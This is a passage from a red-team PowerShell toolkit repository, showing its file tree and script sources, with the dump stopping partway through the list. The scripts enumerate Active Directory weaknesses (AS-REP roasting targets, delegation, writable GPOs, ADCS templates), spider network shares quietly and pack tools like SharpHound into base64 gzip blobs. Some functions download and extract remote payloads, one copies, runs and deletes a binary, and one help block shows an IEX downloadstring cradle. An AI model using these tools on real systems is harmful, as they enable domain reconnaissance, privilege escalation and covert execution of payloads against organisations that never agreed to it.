├── AD ├── ADCS-Hunting-DS.ps1 ├── ADCS-Template-Enum-DS.ps1 ├── ASRepRoastable-Enum-ADM.ps1 ├── Delegation-Enum-ADM.ps1 ├── GPO-Enum-Writeable-Stats-ADM.ps1 ├── ObjectClass-Stats-ADM.ps1 ├── ObjectClass-Stats-DS.ps1 ├── SPN-Summary-ADM.ps1 ├── SPN-Summary-DS.ps1 └── Share-Spider-DS.ps1 ├── Compress-CSharp-Exe-For-PowerShell.ps1 ├── CopyRunDelete.ps1 ├── Get-AMSI-Providers.ps1 ├── Get-Banner.ps1 ├── Get-PasswordLastSet.ps1 ├── Get-Uniq-Process-Events.ps1 ├── Get-WritableFolders.ps1 ├── Invoke-SharpieExec.ps1 ├── Keep-Screen-Active.ps1 ├── PoorManSIEM.ps1 ├── PowerSpray.ps1 ├── README.md ├── SharpDLExec.ps1 ├── SharpDLExec2.ps1 ├── bloodhound-cypher-queries.txt └── rando-snippets.txt /AD/ADCS-Hunting-DS.ps1: -------------------------------------------------------------------------------- 1 | # Be like certuitl.exe to find CAs 2 | 3 | # Get the root of the current domain using the RootDSE object 4 | $rootDSE = [ADSI]"LDAP://RootDSE" 5 | 6 | # Retrieve the default naming context (domain DN) 7 | $domainDN = $rootDSE.rootDomainNamingContext 8 | 9 | # Construct and access the LDAP path dynamically for the CA container 10 | $objGC = [ADSI]"LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,$domainDN"; 11 | 12 | # Initialize the DirectorySearcher 13 | $Searcher = New-Object DirectoryServices.DirectorySearcher 14 | $Searcher.PageSize = 1000 15 | $Searcher.SearchRoot = $objGC 16 | 17 | # Adjust the filter according to what you're looking for within this context 18 | # Since we're in the Configuration container, the objectClass filter might differ 19 | $Searcher.Filter = "(objectClass=*)" 20 | $Searcher.PropertiesToLoad.Add("dnshostname") > $Null 21 | 22 | # Perform the search and store the results 23 | $results = $Searcher.FindAll() 24 | 25 | # Iterate over each result in the collection 26 | foreach ($result in $results) { 27 | $dnsHostNames = $result.Properties["dnshostname"] 28 | foreach ($dnsHostName in $dnsHostNames) { 29 | $Uri = "https://$dnsHostName/" 30 | Write-Host $Uri 31 | try { 32 | Invoke-WebRequest -Uri $Uri -ErrorAction SilentlyContinue 33 | } catch { 34 | # Suppress any additional error output 35 | $null = $_ 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /AD/ADCS-Template-Enum-DS.ps1: -------------------------------------------------------------------------------- 1 | # Be like certify.exe to find cert templates 2 | 3 | # Define the CA URL 4 | $CAS = "https://SOMECA01.example.com/" 5 | 6 | # Get the root of the current domain using the RootDSE object 7 | $rootDSE = [ADSI]"LDAP://RootDSE" 8 | 9 | # Retrieve the root domain naming context 10 | $domainDN = $rootDSE.rootDomainNamingContext 11 | 12 | # Construct the LDAP path dynamically for the Configuration container 13 | $ldapPath = "LDAP://CN=Configuration,$domainDN" 14 | $searcher = New-Object DirectoryServices.DirectorySearcher 15 | $searcher.SearchRoot = [ADSI]$ldapPath 16 | $searcher.Filter = "(objectclass=pkicertificatetemplate)" 17 | $searcher.PageSize = 1000 18 | 19 | # Perform the search and collect certificate template names 20 | $templates = $searcher.FindAll() | ForEach-Object { $_.Properties["cn"] } 21 | 22 | # Set location to the certificate store 23 | Set-Location -Path Cert:\CurrentUser\My 24 | 25 | # Iterate over each certificate template and request a certificate 26 | foreach ($template in $templates) { 27 | $templateName = $template.ToString() 28 | Write-Host "Requesting certificate for template: $templateName" 29 | try { 30 | Get-Certificate -Url $CAS -Template $templateName -ErrorAction Stop 31 | Write-Host "Certificate successfully requested for template: $templateName" 32 | } catch { 33 | Write-Warning "Failed to request certificate for template: $templateName. Error: $_" 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /AD/ASRepRoastable-Enum-ADM.ps1: -------------------------------------------------------------------------------- 1 | $PreauthNotRequired = "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" 2 | $ErrorActionPreference = "SilentlyContinue" 3 | $users = Get-ADUser -LdapFilter $PreauthNotRequired |Where-Object { $_.Enabled -eq $true } 4 | $users.Count 5 | -------------------------------------------------------------------------------- /AD/Delegation-Enum-ADM.ps1: -------------------------------------------------------------------------------- 1 | $UnconstrainedDelegation = "(userAccountControl:1.2.840.113556.1.4.803:=524288)" 2 | $ConstrainedDelegation = "(msDS-AllowedToDelegateTo=*)" 3 | $ResourceBasedConstrainedDelegation = "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" 4 | 5 | #TrustedForDelegation: Unconstrained delegation; broader and less secure. Should be used with caution due to potential security risks. 6 | #TrustedToAuthForDelegation: Constrained delegation with protocol transition; more restricted and secure, as it limits delegation to specific services. 7 | 8 | $Prop = "TrustedForDelegation" 9 | $ErrorActionPreference = "SilentlyContinue" 10 | $computers = Get-ADComputer -LdapFilter $UnconstrainedDelegation |Where-Object { $_.Enabled -eq $true } 11 | $computers.Count 12 | 13 | # Count by OperatingSystem 14 | $computers | 15 | Where-Object { $_.Enabled -eq $true } | 16 | ForEach-Object { Get-ADComputer -Identity $_.Name -Properties * } | 17 | Where-Object { $_.$Prop -eq $true } | 18 | Group-Object -Property OperatingSystem 19 | Select-Object Name, Count 20 | 21 | # Count by isCriticalSystemObject 22 | $computers | 23 | Where-Object { $_.Enabled -eq $true } | 24 | ForEach-Object { Get-ADComputer -Identity $_.Name -Properties * } | 25 | Where-Object { $_.$Prop -eq $true -and $_.OperatingSystem -like "Windows*"} | 26 | Group-Object -Property isCriticalSystemObject 27 | Select-Object Name, Count 28 | 29 | #Export all to CSV 30 | $computers | 31 | Where-Object { $_.Enabled -eq $true } | 32 | ForEach-Object { Get-ADComputer -Identity $_.Name -Properties * } | 33 | Where-Object { $_.$Prop -eq $true } | 34 | Export-Csv -Path "output.csv" -NoTypeInformation 35 | -------------------------------------------------------------------------------- /AD/GPO-Enum-Writeable-Stats-ADM.ps1: -------------------------------------------------------------------------------- 1 | 2 | $Exclusions = @("SYSTEM", "Administrators", "Domain Admins", "Enterprise Admins") 3 | $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() 4 | $DomainList = @($Forest.Domains) 5 | $Domains = $DomainList |foreach { $_.GetDirectoryEntry() } 6 | $AllForestGpoACLs = @() 7 | foreach ($Domain in $Domains) { 8 | $Filter = "(&(objectCategory=groupPolicyContainer)(displayname=*))" 9 | $Searcher = New-Object System.DirectoryServices.DirectorySearcher 10 | $Searcher.SearchRoot = $Domain 11 | $Searcher.Filter = $Filter 12 | $Searcher.PageSize = 1000 13 | $Searcher.SearchScope = "Subtree" 14 | $listGPO = $Searcher.FindAll() 15 | $AllDomainGpoACLs = @() 16 | foreach ($GPO in $listGPO){ 17 | $ACL = ([ADSI]$GPO.path).ObjectSecurity.Access |? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"} 18 | if ($ACL -ne $null){ 19 | $GpoACL = New-Object psobject 20 | $GpoACL |Add-Member Noteproperty "Domain" $Domain.distinguishedName 21 | $GpoACL |Add-Member Noteproperty "DisplayName" $GPO.Properties.displayname 22 | $GpoACL |Add-Member Noteproperty "IdentityReference" $ACL.IdentityReference 23 | $AllDomainGpoACLs += $GpoACL 24 | } 25 | } 26 | $AllForestGpoACLs += $AllDomainGpoACLs 27 | Write-Output "`n`n###`n###`t[+] Got GPOs for $($Domain.distinguishedName):`n###`n" 28 | $AllDomainGpoACLs |Select-Object -ExpandProperty IdentityReference |Group-Object -Property Value |Select-Object Name, Count |Sort-Object -Property Count -Descending 29 | } 30 | Write-Output "`n`n###`n###`t[+] Got GPOs for entire forest:`n###`n" 31 | $AllForestGpoACLs |Select-Object -ExpandProperty IdentityReference |Group-Object -Property Value |Select-Object Name, Count |Sort-Object -Property Count -Descending 32 | #Get-ADUser REPLACEWITHUSER -Properties AccountNotDelegated,adminCount,Description,DistinguishedName,DoesNotRequirePreAuth,Enabled,HomeDirectory,HomeDrive,HomePage,LastBadPasswordAttempt,LastLogonDate,MemberOf,Name,PasswordExpired,PasswordLastSet,PasswordNeverExpires,PasswordNotRequired,pwdLastSet,PrincipalsAllowedToDelegateToAccount,ScriptPath,ServicePrincipalNames,SmartcardLogonRequired,Title 33 | #$AllForestGpoACLs |Where-Object { $_.IdentityReference -like "*REPLACEWITHUSER*" } |Select-Object Domain, DisplayName 34 | -------------------------------------------------------------------------------- /AD/ObjectClass-Stats-ADM.ps1: -------------------------------------------------------------------------------- 1 | # Import the Active Directory module 2 | Import-Module ActiveDirectory 3 | 4 | # Get all objects from Active Directory 5 | $allObjects = Get-ADObject -Filter * -Property objectClass 6 | 7 | # Group the objects by their class 8 | $groupedByClass = $allObjects |Group-Object -Property objectClass 9 | 10 | # Display the classes and the count of objects in each class 11 | $groupedByClass |Select-Object Name, Count |Sort-Object Name 12 | -------------------------------------------------------------------------------- /AD/ObjectClass-Stats-DS.ps1: -------------------------------------------------------------------------------- 1 | # Get the root of the current domain using the RootDSE object 2 | $rootDSE = [ADSI]"LDAP://RootDSE" 3 | 4 | # Retrieve the default naming context (domain DN) 5 | $domainDN = $rootDSE.rootDomainNamingContext 6 | 7 | # Construct and access the LDAP path dynamically for the CA container 8 | $objGC = [ADSI]"LDAP://$domainDN"; 9 | 10 | # Initialize the DirectorySearcher 11 | $Searcher = New-Object DirectoryServices.DirectorySearcher 12 | $Searcher.PageSize = 1000 13 | $Searcher.SearchRoot = $objGC 14 | 15 | # Adjust the filter according to what you're looking for within this context 16 | # Since we're in the Configuration container, the objectClass filter might differ 17 | $Searcher.Filter = "(objectClass=*)" 18 | 19 | # Specify properties to load 20 | $searcher.PropertiesToLoad.Add("objectClass") > $null 21 | 22 | # Find all objects in AD 23 | $results = $searcher.FindAll() 24 | 25 | # Create a hashtable to count objects by their objectClass 26 | $objectClassCount = @{} 27 | 28 | # Loop through all results and count occurrences of object classes 29 | foreach ($result in $results) { 30 | $objectClasses = $result.Properties["objectClass"] 31 | 32 | foreach ($objectClass in $objectClasses) { 33 | if ($objectClassCount.ContainsKey($objectClass)) { 34 | $objectClassCount[$objectClass] += 1 35 | } else { 36 | $objectClassCount[$objectClass] = 1 37 | } 38 | } 39 | } 40 | 41 | # Convert the hashtable to a list of objects and display the results 42 | $objectClassCount.GetEnumerator() | Sort-Object Name | Select-Object Name, Value | 43 | Format-Table @{Label = "ObjectClass"; Expression = {$_.Name}}, 44 | @{Label = "Count"; Expression = {$_.Value}} 45 | -------------------------------------------------------------------------------- /AD/SPN-Summary-ADM.ps1: -------------------------------------------------------------------------------- 1 | # Import the Active Directory module (if not already imported) 2 | Import-Module ActiveDirectory 3 | 4 | # Hashtable to store unique counts 5 | $uniqueCounts = @{} 6 | 7 | # Get all computers in the domain with their SPNs 8 | $computers = Get-ADComputer -Filter * -Property servicePrincipalName 9 | 10 | foreach ($computer in $computers) { 11 | # For each computer, process each SPN 12 | foreach ($spn in $computer.servicePrincipalName) { 13 | # Split the SPN by '/' and take the first part 14 | $spnPrefix = $spn -split '/' | Select-Object -First 1 15 | 16 | # Increment the count for this SPN prefix 17 | if ($uniqueCounts.ContainsKey($spnPrefix)) { 18 | $uniqueCounts[$spnPrefix]++ 19 | } else { 20 | $uniqueCounts[$spnPrefix] = 1 21 | } 22 | } 23 | } 24 | 25 | # Output the counts 26 | $uniqueCounts.GetEnumerator() | Sort-Object Name | ForEach-Object { 27 | Write-Output "$($_.Key): $($_.Value)" 28 | } 29 | -------------------------------------------------------------------------------- /AD/SPN-Summary-DS.ps1: -------------------------------------------------------------------------------- 1 | # Load necessary assembly if not already loaded 2 | Add-Type -AssemblyName System.DirectoryServices 3 | 4 | # Initialize the DirectorySearcher object 5 | $searcher = New-Object System.DirectoryServices.DirectorySearcher 6 | $searcher.Filter = "(&(objectClass=computer)(servicePrincipalName=*))" 7 | $searcher.PageSize = 1000 8 | $searcher.PropertiesToLoad.Add("servicePrincipalName") 9 | 10 | # Hashtable to store unique counts 11 | $uniqueCounts = @{} 12 | 13 | # Use a do-while loop to retrieve data in pages 14 | $results = $searcher.FindAll() 15 | do { 16 | foreach ($result in $results) { 17 | $spns = $result.Properties["servicePrincipalName"] 18 | foreach ($spn in $spns) { 19 | # Split the SPN by '/' and take the first part 20 | $spnPrefix = $spn -split '/' | Select-Object -First 1 21 | 22 | # Increment the count for this SPN prefix 23 | if ($uniqueCounts.ContainsKey($spnPrefix)) { 24 | $uniqueCounts[$spnPrefix]++ 25 | } else { 26 | $uniqueCounts[$spnPrefix] = 1 27 | } 28 | } 29 | } 30 | 31 | # Continue searching for next page 32 | $searcher.SearchRoot = $results[$results.Count - 1].Properties["adspath"][0] 33 | $results = $searcher.FindAll() 34 | } while ($results.Count -eq $searcher.PageSize) 35 | 36 | # Output the counts 37 | $uniqueCounts.GetEnumerator() | Sort-Object Name | ForEach-Object { 38 | Write-Output "$($_.Key): $($_.Value)" 39 | } 40 | -------------------------------------------------------------------------------- /AD/Share-Spider-DS.ps1: -------------------------------------------------------------------------------- 1 | # Be like MANSPIDER --no-download 2 | 3 | # Shhhh, Be quiet! 4 | $ErrorActionPreference = "SilentlyContinue" 5 | 6 | # Load necessary assembly if not already loaded 7 | Add-Type -AssemblyName System.DirectoryServices 8 | 9 | # Initialize the DirectorySearcher object 10 | $searcher = New-Object System.DirectoryServices.DirectorySearcher 11 | $searcher.Filter = "(&(objectClass=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" 12 | $searcher.PageSize = 1000 13 | 14 | # Retrieve data from the directory 15 | $results = $searcher.FindAll() 16 | 17 | # Iterate over each result in the collection 18 | foreach ($result in $results) { 19 | $dnsHostName = $result.Properties["dnsHostName"][0] 20 | 21 | if ($dnsHostName) { 22 | Write-Host "[*] Connecting to $dnsHostName..." 23 | $outFile = "manpowerspider-$dnsHostName.txt" 24 | 25 | # Check and remove existing output file if it exists 26 | if (Test-Path -Path $outFile -PathType Leaf) { 27 | Remove-Item -Path $outFile 28 | } 29 | 30 | # Get the list of shared folders 31 | $shares = net view \\$dnsHostName /all | Select-Object -Skip 7 | Where-Object { $_ -match 'disk*' } | ForEach-Object { 32 | if ($_ -match '^(.+?)\s+Disk*') { 33 | $matches[1].Trim() 34 | } 35 | } 36 | 37 | # Iterate over each share found 38 | foreach ($share in $shares) { 39 | if ($share -notin @("DFS", "SYSVOL", "NETLOGON")) { 40 | $Msg = "[*] Scanning \\$dnsHostName\$share" 41 | Write-Host $Msg 42 | $Msg | Out-File -Append -FilePath $outFile 43 | 44 | # Recursively list files in the share 45 | $files = Get-ChildItem -Recurse -Depth 42 -FollowSymlink -Path "\\$dnsHostName\$share\" -ErrorAction SilentlyContinue | ForEach-Object { $_.FullName } 46 | 47 | if ($files) { 48 | $files | Out-File -Append -FilePath $outFile 49 | } 50 | } 51 | } 52 | } else { 53 | Write-Host "[!] No DNS Hostname found for an entry." 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /Compress-CSharp-Exe-For-PowerShell.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Compresses or decompresses a C# binary for use in a PowerShell script. 4 | .DESCRIPTION 5 | This PowerShell script has two functions. One to convert a C# binary into a Base64 compressed blob, and the other to reverse that operation. 6 | .EXAMPLE 7 | PS> insert "Invoke-SharpHound.exe" "Invoke-SharpHound.b64" 8 | PS> extract "Invoke-SharpHound.b64" "Invoke-SharpHound.exe" 9 | .LINK 10 | https://gist.github.com/vortexau/13de5b6f9e46cf419f1540753c573206 11 | https://gist.github.com/marcgeld/bfacfd8d70b34fdf1db0022508b02aca 12 | #> 13 | 14 | function decompress($i, $o) { 15 | $blob = (Get-Content -Path $i) 16 | $decoded = [IO.MemoryStream][Convert]::FromBase64String($blob) 17 | $output = New-Object System.IO.MemoryStream 18 | $gzipStream = New-Object System.IO.Compression.GzipStream $decoded, ([IO.Compression.CompressionMode]::Decompress) 19 | $gzipStream.CopyTo($output) 20 | $gzipStream.Close() 21 | $decoded.Close() 22 | [byte[]] $byteOutArray = $output.ToArray() 23 | [System.IO.File]::WriteAllBytes($o,$byteOutArray) 24 | $output.Close() 25 | } 26 | 27 | function compress($i, $o) { 28 | $bytes = [IO.File]::ReadAllBytes($i) 29 | $output = New-Object System.IO.MemoryStream 30 | $gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress) 31 | $gzipStream.Write( $bytes, 0, $bytes.Length ) 32 | $gzipStream.Close() 33 | $encoded = [System.Convert]::ToBase64String($output.ToArray()) 34 | Out-File -FilePath $o -InputObject $encoded -Encoding ASCII 35 | $output.Close() 36 | } 37 | 38 | function download_raw_and_compress($i, $o) { 39 | [byte[]] $bytes = (New-Object System.Net.WebClient).DownloadData($i) 40 | $output = New-Object System.IO.MemoryStream 41 | $gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress) 42 | $gzipStream.Write( $bytes, 0, $bytes.Length ) 43 | $gzipStream.Close() 44 | $encoded = [System.Convert]::ToBase64String($output.ToArray()) 45 | Out-File -FilePath $o -InputObject $encoded -Encoding ASCII 46 | $output.Close() 47 | } 48 | 49 | function download_compressed_and_extract($i, $o) { 50 | $blob = (New-Object System.Net.WebClient).DownloadString($i) 51 | $decoded = [IO.MemoryStream][Convert]::FromBase64String($blob) 52 | $output = New-Object System.IO.MemoryStream 53 | $gzipStream = New-Object System.IO.Compression.GzipStream $decoded, ([IO.Compression.CompressionMode]::Decompress) 54 | $gzipStream.CopyTo($output) 55 | $gzipStream.Close() 56 | $decoded.Close() 57 | [byte[]] $byteOutArray = $output.ToArray() 58 | [System.IO.File]::WriteAllBytes($o,$byteOutArray) 59 | $output.Close() 60 | } 61 | -------------------------------------------------------------------------------- /CopyRunDelete.ps1: -------------------------------------------------------------------------------- 1 | function CopyRunDelete { 2 | param ( 3 | [string]$SourceBinary, 4 | [string]$DestinationPath 5 | ) 6 | 7 | # Open the folder in Explorer 8 | Invoke-Item $DestinationPath 9 | 10 | # Copy binary to the destination path 11 | try { 12 | Copy-Item -Path $SourceBinary -Destination $DestinationPath -Force -ErrorAction Stop 13 | Write-Host "$($SourceBinary) copied to $DestinationPath" 14 | } catch { 15 | Write-Host "Failed to copy $($SourceBinary): $_" 16 | return 17 | } 18 | 19 | # Run the binary 20 | $SourceBinaryPath = Join-Path $DestinationPath $(Split-Path -Path $SourceBinary -Leaf) 21 | try { 22 | Invoke-Item -Path $SourceBinaryPath -ErrorAction Stop 23 | Write-Host "$($SourceBinary) executed successfully." 24 | } catch { 25 | Write-Host "Failed to execute $($SourceBinary): $_" 26 | return 27 | } 28 | 29 | # Attempt to delete the binary 30 | try { 31 | Remove-Item -Path $SourceBinaryPath -Force -ErrorAction Stop 32 | Write-Host "$($SourceBinary) deleted successfully." 33 | } catch { 34 | Write-Host "Failed to delete $($SourceBinary): $_" 35 | # Open the folder in Explorer if deletion fails 36 | #Invoke-Item $DestinationPath 37 | } 38 | } 39 | 40 | # Run the function with default or provided paths 41 | #CopyRunDelete -SourceBinary "C:\Windows\notepad.exe" -DestinationPath "C:\Windows\Tasks" 42 | -------------------------------------------------------------------------------- /Get-AMSI-Providers.ps1: -------------------------------------------------------------------------------- 1 | # Define the registry path for AMSI providers 2 | $amsiRegistryPath = "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" 3 | 4 | # Check if the AMSI Providers registry key exists 5 | if (Test-Path $amsiRegistryPath) { 6 | # Retrieve each AMSI provider's GUID 7 | Get-ChildItem -Path $amsiRegistryPath | ForEach-Object { 8 | $providerGUID = $_.PSChildName 9 | 10 | # Construct the full HKEY_CLASSES_ROOT registry path to find details about the provider 11 | $clsidPath = "Registry::HKEY_CLASSES_ROOT\CLSID\$providerGUID" 12 | 13 | if (Test-Path $clsidPath) { 14 | # Get provider details from the CLSID path 15 | $providerDetails = Get-ItemProperty -Path $clsidPath 16 | [PSCustomObject]@{ 17 | ProviderGUID = $providerGUID 18 | ProviderName = $providerDetails."(Default)" -as [string] 19 | InprocServer32 = (Get-ItemProperty -Path "$clsidPath\InprocServer32" -ErrorAction SilentlyContinue)."(Default)" -as [string] 20 | } 21 | } else { 22 | Write-Output "No CLSID entry found for GUID $providerGUID" 23 | } 24 | } | Format-Table -AutoSize 25 | } else { 26 | Write-Output "No AMSI providers found or AMSI is not enabled on this system." 27 | } 28 | -------------------------------------------------------------------------------- /Get-Banner.ps1: -------------------------------------------------------------------------------- 1 | function Get-Banner 2 | { 3 | <# 4 | 5 | .SYNOPSIS 6 | 7 | Get-Banner.ps1 Function: Get-Banner 8 | Author: John Cartrett (@jnqpblc) 9 | License: BSD 3-Clause 10 | Required Dependencies: None 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | A primative PowerShell script to test TCP connections and dump its banner. 16 | 17 | .LINK 18 | 19 | https://myitpath.blogspot.com/2013/02/simple-powershell-tcp-client-for.html 20 | 21 | .PARAMETER Target 22 | 23 | Target is the IP Address or Hostname to connect too. 24 | 25 | .PARAMETER Target 26 | 27 | Port is the TCP Port number to use. 28 | 29 | .EXAMPLE 30 | 31 | Get-Banner 10.10.10.10 22 32 | Get-Banner -Target 10.10.10.10 -Port 22 33 | 34 | #> 35 | param ( 36 | [Parameter(Mandatory=$true, Position=0, HelpMessage="Please enter an IP Address or Hostname to connect too.")] 37 | [string] $Target, 38 | [Parameter(Mandatory=$true, Position=1, HelpMessage="Please enter a TCP Port number to use.")] 39 | [int] $Port 40 | ) 41 | 42 | Try { 43 | $Con = New-Object System.Net.Sockets.TcpClient($Target, $Port) 44 | $Str = $Con.GetStream() 45 | $Buf = New-Object System.Byte[] 1024 46 | $Enc = New-Object System.Text.ASCIIEncoding 47 | Start-Sleep -m 200 48 | $Out = "" 49 | While ($Str.DataAvailable -and $Out -NotMatch "Username") { 50 | $Res = $Str.Read($Buf,0,1024) 51 | $Out += $Enc.GetString($Buf, 0, $Res) 52 | Start-Sleep -m 300 53 | } 54 | $Con.Close() 55 | Write-Host "[+] Successfully connected to the remote service." 56 | if (([string]::IsNullOrEmpty($UserFile))) { 57 | Write-Host "[!] The remote service did not respond to the inquiry." 58 | Break 59 | } else { 60 | Write-Host "[+] $Out" 61 | } 62 | } Catch { 63 | Write-Host "[!] Unable resolve or connect to host." 64 | Break 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /Get-PasswordLastSet.ps1: -------------------------------------------------------------------------------- 1 | function Get-PasswordLastSet 2 | { 3 | <# 4 | 5 | .SYNOPSIS 6 | 7 | Get-PasswordLastSet.ps1 Function: Get-PasswordLastSet 8 | Author: John Cartrett (@jnqpblc) 9 | License: BSD 3-Clause 10 | Required Dependencies: None 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | Shows similar information to "net accounts /domain" from Windows. 16 | 17 | PS C:\> IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/jnqpblc/Misc-PowerShell/master/Get-PasswordLastSet.ps1"); Get-PasswordLastSet 18 | 19 | .LINK 20 | 21 | https://elderec.org/2013/03/powershell-determine-when-active-directory-password-was-last-set/ 22 | https://www.blackops.ca/2013/05/06/cant-change-password-the-password-does-not-meet-the-password-policy-requirements/ 23 | 24 | .PARAMETER sAMAccountName 25 | 26 | sAMAccountName is needed for the user specific information pulled from Active Directory. 27 | 28 | .EXAMPLE 29 | 30 | Get-PasswordLastSet some.user 31 | Get-PasswordLastSet -sAMAccountName some.user 32 | 33 | #> 34 | param ( 35 | [parameter(Mandatory=$true, HelpMessage="sAMAccountName is needed for the user specific information pulled from Active Directory.")] 36 | [string]$sAMAccountName 37 | ) 38 | 39 | Try { 40 | $root = [ADSI]'' 41 | $searcher = New-Object System.DirectoryServices.DirectorySearcher($root) 42 | $searcher.filter = "(&(objectClass=user)(sAMAccountName=$sAMAccountName))" 43 | $user = $searcher.findall() 44 | } Catch { 45 | Write-Output "[-] Failed to find or connect to Active Directory; the script will exit." 46 | Break 47 | } 48 | 49 | $User = [ADSI]$user[0].path 50 | 51 | # get domain password policy (max pw age) 52 | $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 53 | $Domain = [ADSI]"LDAP://$CurrentDomain" 54 | $MinPwdLength = $Domain.minPwdLength 55 | $PwdHistory = $Domain.pwdHistoryLength 56 | $PwdComplexity = $Domain.pwdProperties.Value 57 | $LockoutThreshold = $Domain.lockoutThreshold.Value 58 | 59 | $XPA = $Domain.maxPwdAge.Value 60 | $NPA = $Domain.minPwdAge.Value 61 | $FLO = $Domain.forceLogoff.Value 62 | $LDR = $Domain.lockoutDuration.Value 63 | $LWN = $Domain.lockOutObservationWindow.Value 64 | 65 | # get Int64 (100-nanosecond intervals). 66 | $lngMaxPwdAge = $Domain.ConvertLargeIntegerToInt64($XPA) 67 | $lngMinPwdAge = $Domain.ConvertLargeIntegerToInt64($NPA) 68 | $lngForceLogoff = $Domain.ConvertLargeIntegerToInt64($FLO) 69 | $lngLockoutDuration = $Domain.ConvertLargeIntegerToInt64($LDR) 70 | $lngLockoutWindow = $Domain.ConvertLargeIntegerToInt64($LWN) 71 | 72 | # get days 73 | $MaxPwdAge = -$lngMaxPwdAge/(600000000 * 1440) 74 | $MinPwdAge = -$lngMinPwdAge/(600000000 * 1440) 75 | $ForceLogoff = -$lngForceLogoff/(600000000) 76 | $LockoutDuration = -$lngLockoutDuration/(600000000) 77 | $LockoutWindow = -$lngLockoutWindow/(600000000) 78 | 79 | # get bad password count 80 | $badPwdCount = $User.badPwdCount.Value 81 | 82 | # check if password can expire or not 83 | $UAC = $User.userAccountControl 84 | $blnPwdExpires = -not (($UAC.Item(0) -band 64) -or ($UAC.Item(0) -band 65536)) 85 | 86 | # when was pw last set? 87 | $PLS = $User.pwdLastSet.Value 88 | 89 | # convert to int64 90 | $lngPwdLastSet = $User.ConvertLargeIntegerToInt64($PLS) 91 | 92 | # convert to ad date 93 | $Date = [DateTime]$lngPwdLastSet 94 | if ($Date -eq 0) { 95 | $PwdLastSet = "" 96 | } 97 | else { 98 | $PwdLastSet = $Date.AddYears(1600).ToLocalTime() 99 | } 100 | 101 | # is the password expired? 102 | $blnExpired = $False 103 | $Now = Get-Date 104 | if ($blnPwdExpires) { 105 | if ($Date -eq 0) { 106 | $blnExpired = $True 107 | } 108 | else 109 | { 110 | if ($PwdLastSet.AddDays($MaxPwdAge) -le $Now) { 111 | $blnExpired = $True 112 | } 113 | } 114 | } 115 | 116 | Write-Output "Last password set date and time: `t`t`t $PwdLastSet" 117 | Write-Output "Current bad password count: `t`t`t`t $badPwdCount" 118 | Write-Output "Password expiration setting: `t`t`t`t $blnPwdExpires" 119 | Write-Output "Password expiration status: `t`t`t`t $blnExpired" 120 | Write-Output "Force user logoff how long after time expires?: `t $ForceLogoff" 121 | Write-Output "Minimum password age (days): `t`t`t`t $MinPwdAge" 122 | Write-Output "Maximum password age (days): `t`t`t`t $MaxPwdAge" 123 | Write-Output "Minimum password length: `t`t`t`t $MinPwdLength" 124 | Write-Output "Password complexity requirement: `t`t`t $PwdComplexity" 125 | Write-Output "Length of password history maintained: `t`t`t $PwdHistory" 126 | Write-Output "Lockout threshold: `t`t`t`t`t $LockoutThreshold" 127 | Write-Output "Lockout duration (minutes): `t`t`t`t $LockoutDuration" 128 | Write-Output "Lockout observation window (minutes): `t`t`t $LockoutWindow" 129 | Write-Output "The command completed successfully." 130 | 131 | } 132 | -------------------------------------------------------------------------------- /Get-Uniq-Process-Events.ps1: -------------------------------------------------------------------------------- 1 | # Enable audit process creation on success 2 | #AuditPol /set /subcategory:"Process Creation" /success:enable 3 | 4 | # Define a hashtable to store unique entries 5 | $uniqueProcesses = @{} 6 | 7 | # Retrieve all Event ID 4688 entries from the Security log 8 | Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 } | ForEach-Object { 9 | # Parse the message for 'New Process Name' and 'Process Command Line' 10 | $message = $_.Message 11 | if ($message -match 'New Process Name:\s+(.+)$') { 12 | $newProcessName = $matches[1] 13 | } 14 | if ($message -match 'Process Command Line:\s+(.+)$') { 15 | $processCommandLine = $matches[1] 16 | } 17 | 18 | # Combine 'New Process Name' and 'Process Command Line' as a unique key 19 | $uniqueKey = "$newProcessName | $processCommandLine" 20 | 21 | # Add to hashtable if the combination is unique 22 | if ($newProcessName -and $processCommandLine -and -not $uniqueProcesses.ContainsKey($uniqueKey)) { 23 | $uniqueProcesses[$uniqueKey] = [PSCustomObject]@{ 24 | "New Process Name" = $newProcessName 25 | "Process Command Line" = $processCommandLine 26 | } 27 | } 28 | } 29 | 30 | # Output all unique entries 31 | $uniqueProcesses.Values | Format-Table -AutoSize 32 | -------------------------------------------------------------------------------- /Get-WritableFolders.ps1: -------------------------------------------------------------------------------- 1 | function Get-WritableFolders { 2 | param ( 3 | [string]$Path 4 | ) 5 | 6 | Get-ChildItem -Directory -Recurse -Path $Path -ErrorAction SilentlyContinue | ForEach-Object { 7 | $folderPath = $_.FullName 8 | $acl = $null 9 | try { 10 | $acl = Get-Acl -Path $folderPath -ErrorAction Stop 11 | } catch { 12 | # If an error occurs (e.g., unauthorized access), skip to the next item 13 | return 14 | } 15 | 16 | if ($acl) { 17 | $acl.Access | Where-Object { 18 | $_.FileSystemRights -match "Write" -and $_.AccessControlType -eq "Allow" 19 | } | ForEach-Object { 20 | [PSCustomObject]@{ 21 | FolderPath = $folderPath 22 | IdentityReference = $_.IdentityReference 23 | FileSystemRights = $_.FileSystemRights 24 | } 25 | } 26 | } 27 | } 28 | } 29 | 30 | # Run the function and output results 31 | #$WritableFolders = Get-WritableFolders -Path "C:\Program Files\" 32 | #$WritableFolders | Format-Table -AutoSize |Out-File 